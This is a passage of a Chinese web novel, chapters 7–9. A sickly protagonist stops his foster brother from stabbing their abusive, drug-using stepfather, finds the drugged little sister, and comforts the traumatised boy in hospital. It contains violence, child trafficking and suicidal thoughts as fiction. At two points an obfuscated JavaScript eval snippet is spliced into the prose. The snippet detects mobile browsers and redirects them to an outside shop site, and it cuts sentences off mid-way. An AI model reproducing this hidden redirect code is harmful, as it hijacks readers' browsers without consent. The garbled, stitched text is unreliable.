《病弱大佬拯救炮灰中[快穿]》 7. 别看、别听 根据苏蓉在电话里语无伦次的叙述,她们是在回出租屋拿行李时遭遇了喝醉酒的姜通海,他在索要钱财无果后恼羞成怒,对她们下了手。 漆黑的雨夜,乌云将天幕遮得密不透光。 沉闷、压抑。 一如姜灼此刻的心情。 他谢过司机后独自冲上了二楼,撞开房门后,被迎面扑来的冲天酒气淹没。 客厅一片狼藉,虚掩着门的卧室中传来低哑的呻吟和男人的叫骂,空气中夹杂着丝缕不祥的血腥。 姜灼面无表情地摁了摁腰间,那里有一块坚硬的凸起,是一把水果刀。 然后一脚踹开了卧室的门。 屋里的男人听到声响回头看他,猪肝色的脸上露出个怪异的笑:“小兔崽子,终于舍得回来了?” 他右手攥着条皮带,左手大力抓着女人的头发把她从地上生生提起,脚下散落着数个烟头和玻璃酒瓶的碎渣。 苏蓉整个身子都伏在地上,脖子被迫高昂,脸上已经青肿得看不见五官。 角落里丢着一件沾了血的童裙。 而姜小月不在这里。 姜灼脑子嗡的一声,冲上去先照着他的脸狠砸了两拳,然后紧紧拽着皮带的一端,和他扭打在一起。 女人睁开肿成一条缝的右眼,口中发出破碎的低泣,撑着上半身往角落里艰难地爬行,在地上拖出一条长长的血痕。 姜灼为了护着她,身上被抽了很多下,手臂上肿起几条渗血的淤青,脖子也被勒出了深深的红痕。 姜通海的身体早就被烟酒掏空,这个年幼时无法反抗的恶魔再不是他已经成年的养子的对手,最终被反剪双手按在了墙上。 “小、小兔崽子……”男人呲牙咧嘴,大概是没想到看似瘦弱的少年力气又大了不少,“王八蛋,我是你老子!” 姜灼从头到尾都没什么表情,沉冷目光下却压着猛兽般的疯狂。 他问:“姜小月呢?” 姜通海脸色酡红,眼神混沌,脑子显然不大清醒,听闻此言吃吃地笑道:“一个傻子,破拖油瓶,你管她做甚?有人能看上,能卖个好价钱就不错了,也算是报答老子的生养之恩——” 空气凝滞。 姜灼的声音有种异样的平静:“卖?” 他的嗓子哑得几乎发不出声音:“……你卖了她?” 卖了是什么意思。 那么一个小傻子,只会埋头画画,连话都不会说……她能干什么?他把她卖到哪儿去了?? 仿佛在悬崖边一脚踏空。 极速坠落中,少年哆嗦着嘴唇,血色褪尽,忘记了怎么呼吸。 “哦对了,突然想起来……你现在可是看不上这点儿小钱了。” 男人胡乱扭了两下身体,怪笑了几声:“被盛丰的大老板看上了是不是?啧啧,你这宋大少爷的手段就是不一样哈,怎么就能勾引上这么有钱的老板?嘿嘿,欠债全没了,你老子我也跟着沾光了哈哈哈哈哈——” “这几天从那老板身上套了不少钱吧,快快快点儿给我,老子还急着用呢……” 空气冷如冰窖,身后少年沉默得令人胆颤,男人却状若癫狂,浑浑噩噩毫无所觉。 “梁家,那可是梁家啊!” “老子跟你讲,那个梁老板据说重病缠身没几天好活了,你小子可要好好抓住这个机会,在他死之前把梁家财产多多转出来知道不?” “嘿嘿,最好能拿到遗嘱,使点儿手段懂吗,哄着他……这种老板不就喜欢这个吗?包养个走投无路的小孩儿,玩点见不得光的游戏,满足他们那点折磨人的癖好……啧啧,这些人都一个样的,在床上听话点识趣点,用点那种药,讨好他们很容易……” “好好哄着他,然后使点……小手段,让他死在该死的时候,不早也不晚……反正他病得快死了,没人会怀疑你,多好的机会,多好的机会呀!” “你别犯浑,咱爷俩好好计划一下,我这里还有几个道上的朋友说不定能帮上忙……到时候梁家财产——” 男人突然惨叫出声,话音戛然而止,然后剧烈挣扎起来。 “啊——你这小王八蛋——!!” 刀刃刺穿了他的左肩。 血顺着刀柄流到少年的手背上。 好恶心,好恶心,好恶心…… 姜灼双目猩红,喘气粗重,耳边咚咚直响,心脏疼得几乎要炸裂开来。 好恶心!! 仿佛有千斤重物狠狠撞击着胃壁,带来剧烈的疼痛和反胃感。 胃酸上涌,灼伤了喉管。 好恶心,好想吐…… 好想带着所有恶心的人一起下地狱…… 他怎么敢这么对姜小月?! 他怎么敢这么恶心地污蔑、诅咒、算计梁先生?! 这么恶心的人,为什么还活在这个世上?!! 墙角蜷缩的女人开始尖叫,声音刺入脑髓肆意搅动。 头疼得要裂开。 眼前的一切被蒙上一层血红。 少年拔出刀,冷眼看着男人捂住伤口,惨叫着滑落在地。 在地上七歪八扭地蠕动着,好像一条粪坑里的蛆虫。 吐出的话也像从粪坑里捞出来一般臭不可闻。 他用最恶毒的言语咒骂姜灼,把他与何殊描述成最肮脏卑劣的关系。 污言秽语,不堪入耳。 一遍又一遍。 把脏水往梁先生身上泼。 他的骂声从少年耳边渐渐远去。 姜灼开始听不清,看不清,也感受不到自己的身体。 ……方才那一刀,起初少年的刀尖是对准男人心脏的。 但刺下去的那一刻,他忽然想起先生还在等他回家。 如果沾上人命,是不是再也回不去了……? 先生今天身体不舒服,如果在那么冷的客厅里一直等他,该怎么办。 不行……至少、至少今天,他要回去。 这念头一闪而过,让他的刀尖偏了几寸。 而现在…… 少年已经什么都想不起来了。 男人肆无忌惮的咒骂,让积年累月的厌世情绪压垮了他,那维系着他理智的最后一丝温情也断了。 什么都无所谓了。 他现在只想把刀捅进眼前这个恶魔的胸口。 他拉着恶魔一起下地狱。 这样总能结束了吧? 这恶心的、没有任何意义的人生,总算能熬到头了吧? 没有人能再伤害他,没有人能再恶心他,没有人……会再被他一次又一次连累。 快点,再快点!他一秒也不想在这世上多待。 少年的身体在自己行动。 他看到自己扇了恶魔无数个耳光。 他看到自己的膝盖压住了恶魔的后背。 他看到自己的左手怼进了恶魔的伤口。 他看到自己的右手对着恶魔的心脏举起了刀。 他看到自己刺了下去。 他看到……他看到…… 他看到……另一个人的手。 他看到那只手握住了自己的手腕。 他看到了灰色的风衣。 他看到了苍白的紧抿的唇。 他看到了棕褐色的眼睛。 形状很温柔。 他看到了……梁先生。 先生蹙着眉看他,目光隐隐担忧,神色从容而沉静。 ……然后他什么都看不到了。 一只手捂住了他的双眼。 然后他什么都听不到了。 那只手微微使力,让他的脸埋在带着苦涩香气的怀里。 别看、别听。 他听到先生无声的嘱咐。 怀抱隔绝了世间的一切。 只留下平静温柔的漆黑。 于是他真的再也看不到令人作呕的血污,听不到不堪入耳的污言秽语。 好像他从来没有看见过、听见过一样。 好像他真的是个被保护得很好的孩子。 …… 何殊将浑身是血的少年紧紧拥住,像抱住一只受伤发狂的小兽。 这件风衣穿在现在的他身上,已不太合身,不过正好能让他将小朋友一同裹进去。 他用微凉的掌心一下下抚过凸起的脊柱。 怀里的身体在发抖,在冒冷汗,剧烈地痉挛。 吐在他胸前的呼吸急促又断续,胃部一阵阵抽搐,喉咙深处抑制不住地干呕。 少年的状况很不对劲。 不像是单纯的愤怒,更像是某种应激反应。 何殊垂眸看着他头顶的发旋,伸手摸了摸,敛下眸中的一片暗色。 ……需要带小朋友见见心理医生。 “阿灼。” 他在少 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果不其然,在杀死债主之前,姜灼曾因故意伤害罪坐了几个月牢,被害人就是他的养父姜通海。 一个坐过牢的罪犯——这是姜灼人生中抹不去的污点,让本就万人嫌的他更加遭人厌弃,一度连基本生活都难以维持,也是推他走上不归路的重要一环。 根据剧情推算,这件事发生的时间就在这几日。 少年雨夜匆匆离开的身影实在让人担忧,为了以防万一,何殊拜托司机小陈注意一下,只要少年去见了自己的养父,就立刻通知他。 然后他赶来了这里。 万幸……这孩子还没下死手。 何殊看着趴在地上一动不动的姜通海,眸中泛出极深的冷意。 他刚刚在这房子的卫生间里发现了一个被捆得结结实实的小女孩,被喂了大量安眠药,昏迷在地板上生死不知,立刻让小陈报警并叫了救护车。 再看着墙角蜷缩成一团的受伤女人,和这屋里的一片狼藉,不难推测出究竟发生了什么。 以及这男人是个怎样的恶魔。 老实说,在看到少年举刀时,他已经想好联系哪位辩护律师了。 就算他来不及阻止,就算少年真的照着胸口刺了下去,他也能为他争取认定为正当防卫。 原著对这个情节并没有详细描写,他也不清楚原剧情里究竟是怎样的状况,但现在的姜灼已经不再是无依无靠的流浪少年。 原著里的那些事不会再在他身上上演。 只是……亲手杀人,还是自己的养父,终究是一个抹不去的阴影。 一把刀开刃见血,就很容易堕入深渊。 少年的路还很长,为了姜通海这种人走上歧路,不值得。 胸口的窒闷越来越明显,心脏也开始一收一缩地疼。 何殊不想当着少年的面发病,犹豫了很久,直到实在难以忍受的时候,才慢慢放开了拥着他的手臂。 他去外面喝药,熬过这一会儿,缓过来就好了。 他轻轻捏了捏少年的手指,极缓极缓地露出个笑,苍白的嘴唇动了动,声音轻柔低弱。 “阿灼……自己呆一会儿,好不好?我很快回来……” 还没说完,手就被反握住了。 咣当一声,水果刀掉落在地。 少年眼中的空洞茫然还未散去,眉头却紧紧蹙着,呼吸急促,正极力试图找回自己的神志。 他吃力地眨眼,眼角无知无觉地涌出泪水。 “先生……咳、先生……” 喉咙嘶哑得像是几百年没开过口,语无伦次,连舌头都忘了怎么动。 他像个生锈的机器人,一举一动都艰难,只知道用力抓着面前这个人捂都捂不热的手,不让他离开。 “吃药……” “在、这里……” 【叮——】 意识空间,G16小声报喜。 只不过这次的电子音却好像有些蔫蔫的,远没有上次那么开心。 毕竟宿主大人和任务对象看起来都不太好。 【恭喜宿主大人,任务对象的炮灰值已下降至42%……请宿主大人再接再厉……】 8. 平安扣 姜灼清醒得比预想中快得多。 潜意识里有个声音一直对他说,先生身体不舒服,要吃药,要休息,需要有人照顾。 于是他逼着自己从混沌中醒来,回到他无比厌恶、却又无比牵挂的人间。 而他的身体比意识还要迅速。 他将先生扶到了卧室的床上,一只手撑着他的后背,另一只手替他慢慢地揉着心口。 掌下的那颗心脏跳得杂乱又吃力。 何殊半靠在少年怀里,后背一片湿冷。胸口微弱起伏,止不住地低咳,即使是在昏黄的灯光下,也看不出脸上的血色。 少年垂着眼睛,嘴唇抿得发白。 先生是为了他才来这里的…… 这么深的夜色,这么冷的雨。 明明已经很累了,却还要替他操心。 就着水服过药之后,何殊总算攒了点力气,轻轻捏了捏少年带着颤意的手指,是安抚的力道。 水是凉的,因为出租屋里没有热水。 少年拢住那只不带什么温度的手,眼睛红了一圈,心尖都揪着。 他居然连热水都给不了先生。 何殊知道,小朋友心思很重,想得也多,还总喜欢和自己过不去。 他抬起手摸摸少年的脸,语气轻松地逗他:“先生对你好不好?” 那只手也被好好地握住,指尖触到了少年眼角的冰凉,他在拼命地点头。 “那……” 他轻笑:“叫声‘哥哥’怎么样?” 背后倚靠的身体僵住了,手指下的脸蛋在极速升温。 “……先、先生……”少年非常努力地试了好几次都叫不出口,索性把脸埋在何殊颈间,声音闷闷的,“好好休息不行吗,你别闹了……” 何殊笑得咳嗽,眼中又有一丝遗憾一闪而过。 可惜,小朋友实在太害羞啦。 又过了一小会儿,何殊微微撑起身子,温声道:“我没事了,去看看你的养母和妹妹吧。” 姜灼抬起红红的眼睛望他,看起来呆呆的。 “我在卫生间里发现了一个被绳子绑着的小姑娘,应该是你妹妹吧?” “我把她放在了客厅的沙发上……她被喂了安眠药,一直昏睡,暂时没有大碍。小陈已经报警叫救护车了,很快就到,别担心……” 他的身体还是虚弱,说不了太多话,几句就要停下,闭上眼睛慢慢喘息。 原来是这样…… 姜灼替他顺着胸口,心里一块大石砰然落地。 看来姜通海还没来得及将姜小月带走。 姜灼想去看看妹妹的情况,但他不放心把先生独自留在这里。 墙角还蜷缩着一个正在发病的精神分裂症患者,地上躺着一个不知是真晕还是装晕的暴力分子,先生的身体状况也很不好…… 何殊抚了抚少年过分紧绷的后背,安抚道:“客厅只有几步远,发生什么事你都能听到的。” 姜灼看着他还是没什么血色的脸:“可是……” “真的没事了。”何殊轻轻揉他的耳朵,把人揉得耳尖泛红,“相信我,嗯?” “小姑娘比我更需要你。” 最终,姜灼很仔细地扶他靠在床头,把药和水放在他手边,又再三确认姜通海真的已经痛晕了过去,用皮带紧紧捆住了他的双手,最后把蜷在墙角的苏蓉扶了起来,架着她一步三回头地离开了卧室。 在他离开后,何殊撑着床榻直起了身子,看向姜通海的方向,目光转冷。 扶着床头站起时,尽管动作很慢很慢,但体位性低血压还是让他眼前瞬间灭了灯,胸腔仿佛被重重一击。 G16从意识空间飞出来,很担心地绕着他挥动小翅膀:【宿主大人?宿主大人?】 何殊站在原地缓过了这阵,眼前还是眩晕得厉害,有点吃力地摁了摁持续闷痛的左胸,向歪在地上姜通海走去。 【我要确认一些东西。】 他说。 一进来他就觉得,这屋里的气味不对劲。 在血腥气和酒气之外,还有另一种有些熟悉的奇怪味道。 等他走近了姜通海,才确信这气味是从他身上散发出来的。 也终于想起了这气味究竟是什么。 史莱姆轻飘飘地落到何殊肩上,蹭了蹭他全是冷汗的脸颊:【宿主大人,有什么发现吗?】 何殊道:【还记得梁仁峰么?】 【记得,那不是宿主大人你最近一直在调查的坏蛋吗?】 梁仁峰是梁家族人,按照辈分是梁衡的伯父,也盛丰集团的重要股东之一,对集团来说举足轻重。 在原著的剧情中,梁衡去世、梁宁继承集团之后,梁仁峰被曝出吸/毒并且涉嫌贩/毒,给盛丰的声誉造成了巨大打击,导致集团股价一落千丈,这也是梁宁在剧情中面临的重大危机之一。 何殊已经提前知晓剧情,想在离开之前替梁宁拔除这个毒瘤,于是最近一直在调查梁仁峰,暗中搜集他与毒/品有关的证据,目前至少确认他已经是个瘾/君子。 要调查梁仁峰,自然免不了与他接触。 何殊在姜通海身上闻到的气味,与在梁仁峰身上闻到的一模一样。 史莱姆连翅膀都忘了扇:【宿主大人,你是说……】 何殊扶着墙,慢慢地走回床边坐下。 原著里没提到姜通海是个瘾/君子的事——一个连炮灰都算不上的角色,当然不值得耗费任何笔墨。 对一个赌博、酗酒、家暴的人渣来说,再加上一个吸/毒似乎也并不值得注意。 但何殊直觉,这件事很重要,与姜灼在原著中的悲惨结局息息相关。 正想着他,少年便回来了。 他冲到床边扶着何殊的手臂:“怎么不好好躺着?” 少年抬手想触碰这人苍白的面容,却又想起什么似的顿住了,慢慢放了下去:“你脸色太差了……” 何殊笑了笑,摸摸他的头发:“感觉还好。” 他不知道原著里的姜灼遭遇了怎样的危险与绝望,才让他选择走上那样一条绝路。 但现在,小朋友是有人护着的小朋友。 所以在情况未明时,他暂时不打算把这件事告诉姜灼。 如果可以,他希望自己能独自解决所有的事,这样少年就永远不会与这种程度的恶意沾边。 警车与救护车赶来,将出租屋内所有的人都带走了。 把苏蓉和姜小月在医院里安顿好之后,姜灼又被拉去警局做笔录。 何殊没听他的劝说在医院里好好休息,而是跟着一起去了警局。 少年毕竟捅了姜通海一刀,虽然伤势不重够不上刑事标准,警员们看了母女二人和姜灼身上的伤也完全能理解事情的真相,但原著里少年的遭遇过于刻骨铭心,何殊还是怕不善辩解的小朋友会吃什么亏。 所幸原著里的剧情并没有发生,警员们对他们很友善,是对受害者的态度。 何殊趁姜灼在另一个房间做笔录时,将有关姜通海吸/毒的猜想告诉了警员,请他们给那个男人做个化验。 根据原著,这种新型毒/品直到五年后才被警方研究透彻,现在这个时间点关于它的线索很少,更别说服用者身上所具有的独特气味。 何殊也只是说,自己是因姜通海的异常精神状态而有所怀疑。 而关于梁远峰的事,毕竟对盛丰影响过于重大,目前也没有足够的证据,何殊权衡之下暂时没有主动透露。 等这一切结束回到医院,天边已经微亮了。 / 何殊再次醒来,是在医院的病房。 右手埋着针头,输液管里缓慢地滴着药水。 姜灼坐在病床边的椅子上直愣愣地盯着他看,眼下一片乌青,看起来一直没休息过。 见他醒来,少年勉强笑了笑,小心地把床头摇高了一点,倒了一杯温水喂他:“先生,还难受吗?” 何殊右手有针,左手缠了纱布,确实不方便自己拿杯子。 带着鼻氧不太舒服,他就着少年的手微微润了润喉,便摇头不再喝了。 姜灼默默放下杯子,眼睛一直垂着,不与他对视。 昨天回来时,何殊确实有些撑不住,没到病房就昏了过去,昏睡中还起了低烧,看来是把小朋友吓到了。 棕褐色的眼睛微弯,透出温润柔和。他抬起左手想去拉少年的袖子,嗓子是被温水浸过的沙哑:“阿灼?” 左手被轻轻拢住,少年低着头看他手上的一圈纱布,眼角蔓延出红色。 这是那把刀划伤的。 昨天他神志不清,死死攥着刀不肯放,先生去抱他的时候被划伤了手。 ……然后先生一句话都没提,只拿了纸巾压住伤口,这只手一直攥着拳,藏着不让他发现。 而他居然真的没发现。 还是昨天扎针的时候,才发现这只手受伤了,一直攥着的纸巾血迹斑斑,红色干涸在伤口上。 在他已经对自己足够失望的时候,总有一些事会让他对自己更加失望。 何殊看了看自己手上的纱布,无奈地笑:“医生有些小题大做了……一道小口子而已,算不上受伤。” 少年倏地抬头看他,眼睛红得厉害。 “不算受伤?……那我这个呢?” 他伸手摸了摸脸颊,那里本来有一道苏蓉指甲的划伤,现在已经完全看不到了。 恢复得很好,是因为先生放在了心上,每天都记得给他换创可贴。 “先生在教我爱护自己的时候,难道不知道有一个词叫作以身作则吗?” 这句话脱口而出时,他才惊觉自己的语气太重了,刹那间,铺天盖地的惶恐愧疚淹没了他。 明明都是他的错,他有什么资格在这里对先生大吼大叫? “对、对不起,先生,我……我……” 少年站在原地,难受得喘不上气,眼睛疼得厉害,用力眨着眼,胡乱地抹去控制不住沁出的泪水,可无奈越抹越多。 对自己的厌恶又一次涌上心头,让他恨不得原地消失。 在何殊眼里,少年像被抛弃的小动物,眼中含泪,无措地僵立在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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何殊靠在病床上,安静地听少年断断续续的解释,然后摸摸他的头,很温柔地夸奖:“阿灼那么小的时候就能凭自己的力量保护自己,还能保护妹妹,真是好孩子。” 少年懵懂地看着他,心脏轻轻动了动。 ……随身带刀的,难道不是不良少年?还是最穷凶极恶的那一种。 “打个商量。” 棕褐色的眼睛看着他,露出柔和的笑意。 “我用一件小礼物,换走你手里的这把刀,怎么样?” ……礼物? 少年想,可是我本来就打定主意不再拿刀了。 他害怕自己控制不住那把凶器,总有一天会再次伤到先生。 可是礼物……先生给的礼物。 他真的忍不住想看看,那是什么。 何殊让他拿来自己的风衣,然后从风衣口袋里掏出一个小小的盒子。 盒子里面有一条红绳,坠着玉白色的平安扣。 何殊很熟练,单手就把红绳系在了少年的手腕上,轻轻拍了拍:“喜欢么?” 少年摸了摸绳子,又摸了摸那个小小的平安扣,喉咙滚动了一下,不太能说得出话。 看上去是喜欢的,非常非常喜欢。 一辈子都不打算摘下来的那种喜欢。 “用这个……换我的刀?”少年声音很哑,慢慢地吐字。 他见过这个东西。 街上遇见的那些很幸福的家庭里,那些小孩子的身上……那些被当成宝贝、有人好好宠爱着的孩子身上,戴着这个东西。 是给那些被爱着的孩子们辟邪保平安的。 何殊笑了:“是啊,你愿意吗?” 拿这个换你的刀。 ——希望我能代替那把刀,成为你安全感的来源。 少年低着头,很珍惜地摩挲那枚平安扣,眼睛又红了一圈。 他懂得,这上面蕴藏的承诺,是多么的珍重。 “小哭包,又要掉金豆豆了?”何殊揉他的耳朵哄他,“你还没回答我呢,愿不愿意?” “……愿意。”少年把平安扣放在心口的地方捂着,又重复了一遍,“我愿意的。” “谢谢先生……” 何殊捏捏他的脸,趁热打铁:“那么,叫一声哥哥吧?” 姜灼:“……” 在姜灼看不到的地方,G16在围着他的手腕转圈圈:【宿主大人,这是你一直在编的那条红绳吗?好好看!好厉害!】 【你怎么什么都会呀!】 何殊笑:【用来哄小姑娘的东西。】 白塔世界,孤儿院里的几个小姑娘年纪都太小了,没有一个姐姐能带着她们玩,于是何殊这个哥哥就学了很多哄妹妹的技巧,编手绳就是其中之一。 到后来编得越来越好,甚至还能拿到集市上去卖,赚了钱给妹妹们买花裙子。 G16:…… 怎么才能得到这样一个哥哥,在线等,急! 任务对象快叫,快叫啊,快叫哥哥!叫不了吃亏叫不了上当! 9. 我要把你抢走了 “梁先生,关于心脏供体的事想和您商量一下……” 病房外,姜灼的手已经放在了门把手上,听见屋内的对话停下了动作。 一直等到何殊和医生交谈完毕,医生开门离开时,他才重新恢复行动能力。 何殊正靠在病床上吸氧,看到他的身影露出笑容:“阿灼?怎么不进来。” 姜灼手里的化验单被他无意识地攥得皱巴巴的,不知道在想什么愣怔了一会儿,勉强开口:“我……不想打扰你们。” 然后进来关门,若无其事地给他倒水量体温。 没人提方才对话的内容。 何殊是完全没放在心上,虽然医生说配型成功的概率极为渺茫,他也没有露出失望的表情。 毕竟这是意料之中的事,原著里梁衡一直到最后都没找到合适的供体。 但从这天之后,少年就似乎有些过分紧张他了。 少年第一次意识到,先生的身体原来到了必须要做移植的地步。 只有在苏蓉和姜小月那边需要他时,他才会短暂离开,其余的时间全都守在何殊的病房里,几乎寸步不离。 就算何殊身边请了护工照顾,他也会默默坐在病房外的长椅上守夜,不去给他准备好的床铺上休息。 尽管他在何殊面前表现得十分正常,很乖地笑着,把脑袋放在何殊手底下让他摸,但还是不难看出少年焦虑到了有些病态的地步。 何殊请护工本就是想让小朋友放松一点,但看起来没什么效果。 他对G16说:【我好像搞错了一件事。】 于是,何殊用双倍违约金辞退了护工,然后把少年从冷冰冰的走廊捞到暖烘烘的病房,让他陪着,让他照顾,让他趴在病床边发呆,看着输液管里的药水慢慢往下滴。 然后在不那么虚弱的时候下床,亲手把少年塞到沙发里,用柔软的毯子裹住他:“睡一会儿。” 毯子里的少年看起来有些呆。 他转动着眼珠,视线落到何殊身下的轮椅上,喉咙动了动,声音变得很哑:“先生,你别……” 他撑着身子要起来,但一只手放在了他的额头上。 那只手很熟练地揉他的耳朵、又摸他的额头和脸颊,慢慢地动作,是让人浑身发软的力道。 “乖。” 手的主人只说了一个字,少年就不会动了。 那只手捂住他的双眼,掌心有些凉,覆在他发烫的眼皮上很舒服。 他恍惚想起了出租屋里的那个怀抱,他被隔绝了视听,陷在同样温柔宁静的黑暗里。 仿佛所有的痛苦都离他远去,只有略带苦涩的香气抚过他的鼻息。 “谁是听话的小朋友?” 掌心下的睫毛轻轻扫过,少年好像被逗笑了,抿了抿唇,嘴角扯出苍白的弧度:“先生……” “不是先生,”何殊一本正经地纠正他,也弯了弯眼睛:“是我们家的阿灼。” 毯子里的少年蜷成很小的一团,闷笑出了声,可能是笑得有点厉害,肩膀和声音都在发抖:“先生……” “我现在感觉很好。”那个声音很稳,慢悠悠的,好像在唱摇篮曲,“我在这里办公,顺便守着你。” 他向他保证,“有什么事,第一时间叫你起来。” “现在,听话的小朋友需要好好睡一觉。” “不听话就罚你叫哥哥,”何殊威胁他,“叫上一百遍。” 少年拽着他的袖子,笑得喘不过气,有点艰难地想告诉他,自己早就在心里叫了两百遍,可惜不太成功。 他从没这么笑过,好像也从没这么困过。 连日紧绷的神经早就耗尽了少年的体力,被那只手轻轻摸一摸,就有深重的疲惫从骨子里被勾出来,压垮了他不知不觉柔软下来的神经。 何殊看着依偎在他身边慢慢陷入昏睡的少年,很轻地笑了笑。 然后转动轮椅拿来了电脑,回到他身边打开。 其实何殊还没到必须用轮椅的地步,只不过医生说行走会增加心脏的负担,少年便固执地再也不肯让他多走一步路。 其实他本也没打算住院,毕竟需要他处理的事情有那么一点多,而且治疗与否对这具身体来说影响不大,不足以把五年的倒计时拉长或者缩短。 但是少年的状态不好。 何殊已经咨询了心理医生,对方发来几份专业的心理测量表,姜灼测出的结果很不理想。 长时间的PTSD和焦虑症,以及程度不算轻的厌世和抑郁。 “还好,有治愈的希望。”医生说,“他似乎已经有了精神支柱,就不那么容易崩溃。” 一直沉在水里等着被淹死的少年,第一次微弱地挣扎,第一次主动伸出手抓住那棵救命稻草,第一次有了活下去的欲望。 稻草先生说:“我会陪着他的。” 一直陪着他,直到他治愈好身心的创伤,有足够的力气自己走下去。 少年需要在医院里照顾养母和妹妹,他就住个院陪他,随时准备好很舒服的摸摸和温暖的怀抱,欢迎少年回来充电。 少年担心他,焦虑得不愿睡觉,他就任他亲手照顾,很听话地认真遵守每一条医嘱,绝不偷偷多走一步路。 细水长流的纵容和爱,总有一天能冲淡那些伤痕。 在沙发上蜷成一小团的少年睡得不太安稳,在梦中悸颤了一下:“先生……” 干净颀长的手指在他发丝间穿过:“我在。” “哥哥……” 何殊愣了一下。 他低头看着把脸埋在他袖子里、在熟悉的气息中慢慢平静下来的少年,目光很深沉地看了一会儿,然后想起什么似的,靠在轮椅椅背上单手捂住眼睛,低低地笑了出来。 他揉乱少年的头发,又轻轻捏少年脸颊上刚长出来的软肉,把无知无觉的少年蹂躏得可怜兮兮的。 G16欲言又止,它好像还是第一次检测到宿主这么真切的开心,但任务对象看起来着实可怜。 权衡之下,它还是觉得宿主大人的心情更重要一点,于是放弃了在何殊手下拯救少年头发的计划。 毕竟rua自家小朋友是作为哥哥的权利。 / 梁宁从寄宿学校回来时,姜家母女身上的伤已经痊愈了。从小学习艺术的大小姐在看过姜小月的画之后信誓旦旦地保证,这孩子绝对有美术天赋。 为了报答小姜哥哥把自家兄长摁在医院里休息了这么多天,她自告奋勇地替姜小月找了最好的自闭症儿童康复机构和美术老师,亲自带人上门拜访。 而苏蓉的精神分裂症在这段时间的治疗后好转了一些,只要没有姜通海的刺激发作的可能性就不大。姜通海被查出吸/毒之后短时间内不太可能出来,于是苏蓉便跟着姜小月一起离开了医院。 姜家母女出院那天,何殊亲自去病房送了她们。 姜灼沉默地站在病房外,无意识地摩挲着手腕上那枚平安扣,目光直直地盯着门板,显示出难以掩饰的焦躁。 先生和苏蓉在病房里谈话,不许他进去,也不许他偷听。 他很听先生的话,乖乖地等着。 但其实他一点也不想让先生接触自己的养母。 他很清楚自己在那女人心中是个什么样的形象——不学无术的混混、有暴力倾向的恶霸、经常惹祸进局子的不良少年……他不在乎她怎么看他,但他不想让先生听到这些。 先生知道这些后,会不会讨厌他,会不会不想要他了。 他讨厌过去的自己,他想当先生口中的那个“好孩子”,虽然不知道从现在开始还来不来得及。 眼前的门开了,苏蓉慢吞吞地走出来,看他的眼神有些躲闪。 姜灼喉咙一紧,想问她都说了什么,但紧绷得一点声音也发不出。 他心慌意乱,没发现苏蓉眼里掩饰着的是未散的震惊和愧疚。 女人踌躇了一会儿,似乎想和他说些什么,却终究什么都没说,手几次伸出去想拍拍他的肩膀,却都在看到少年后退一步的动作和眼中的戒备之后落了下去。 少年莫名觉得,她看上去很煎熬。 “阿灼。” 病房内,先生在叫他。 于是他眼里再也容不下其他任何的东西,没有丝毫犹豫地与苏蓉擦肩而过。 何殊靠在轮椅上向他招手,膝盖上摊开着一本小小的相册。 姜灼乖乖地走过去,但在看到那本相册之后呼吸骤停:“这、这是……!” 照片上,一个穿着肚兜的小娃娃正咧着嘴对他笑。 肚兜很丑,笑得更丑。 何殊伸手比划了一下,嘴角微微上扬:“这么小的小朋友,抱在怀里一定很舒服吧。” 少年脸色红得要滴血,放在身侧的双手动了动,极力压下自己抢走那本相册毁尸灭迹的欲望:“先生,没什么好看的,真的……” 这是他五岁时的相册,他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13458788|141637||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没想到苏蓉居然还留着,更没想到会落到先生手里。 他都忘了,在那个姜通海还没这么过分、姜小月尚未出生的时候,自己也是会笑得这么开心的。 但是真的太丑了,太傻了。 他当时为什么要穿着肚兜?? 脸皮薄的少年看着先生对自己小时候的丑照产生了浓厚的兴趣,窘迫得恨不得找个地缝钻进去。 何殊一页页地翻着那本相册,垂着眼睛,翻得很慢,好像每一张照片都能引起他极大的兴趣。 他从这些照片的细节里窥见少年苦难的过去。 少年身侧攥紧的拳头渐渐放松了下来。 他发现先生的情绪有些不对。 他动了动唇,轻声问道:“先生?你怎么了……” 相册很薄,照片也不多,即使何殊翻得再慢,也很快就翻完了。 他合上相册,向眼巴巴看着他的少年勾了勾手,便获得了一只温顺地蜷在掌心下的小猫。 少年蹲在他身边,扒着轮椅的扶手,抬头看他:“先生?” 何殊看着少年眼里的星星,笑了笑:“只是觉得,小时候的阿灼真的很可爱。” “如果捡到你的那个人是我……就好了。” 他很会养弟弟妹妹,他能把小朋友养得很好。 少年在这句话里不会动了。 他无意识地紧紧捏着轮椅扶手,呼吸艰难,心脏悸颤。 何殊轻轻摸他的头发,让他在熟悉的力道里找回呼吸和说话的能力。 少年的声音哑得厉害。 “先生,那个女人……她对你说什么了吗……” “问了一些你小时候的事。”何殊笑笑,垂下眼睛看他,睫毛半遮显得更加温柔,“说阿灼小时候有多乖,多招人喜欢。” 知道了姜灼被拐卖后,姜家不是第一个买家。 从两岁到四岁,整整两年的时间,小小的孩子都在买家手里辗转与流浪,然后被抛弃,直到被苏蓉从垃圾场捡回去,中间不知道受了多少罪。 照片里的孩子笑得很开心,但面黄肌瘦的,典型重度营养不良。 小孩子没心没肺,还不知道什么是苦难,苦难却已经在他身上留下了印记。 何殊摸摸少年右眉上的刀疤:“这是为了保护妹妹留下的,对吗?” 十三岁,在醉酒的养父刀下死里逃生,差点毁了一只眼。 少年好像对这道伤有很深的心理阴影,下意识地往后缩,想躲避他的手,却又生生忍住了。 “阿灼,别怕。”何殊用指尖轻轻摩挲那道伤,力道里藏着疼惜。 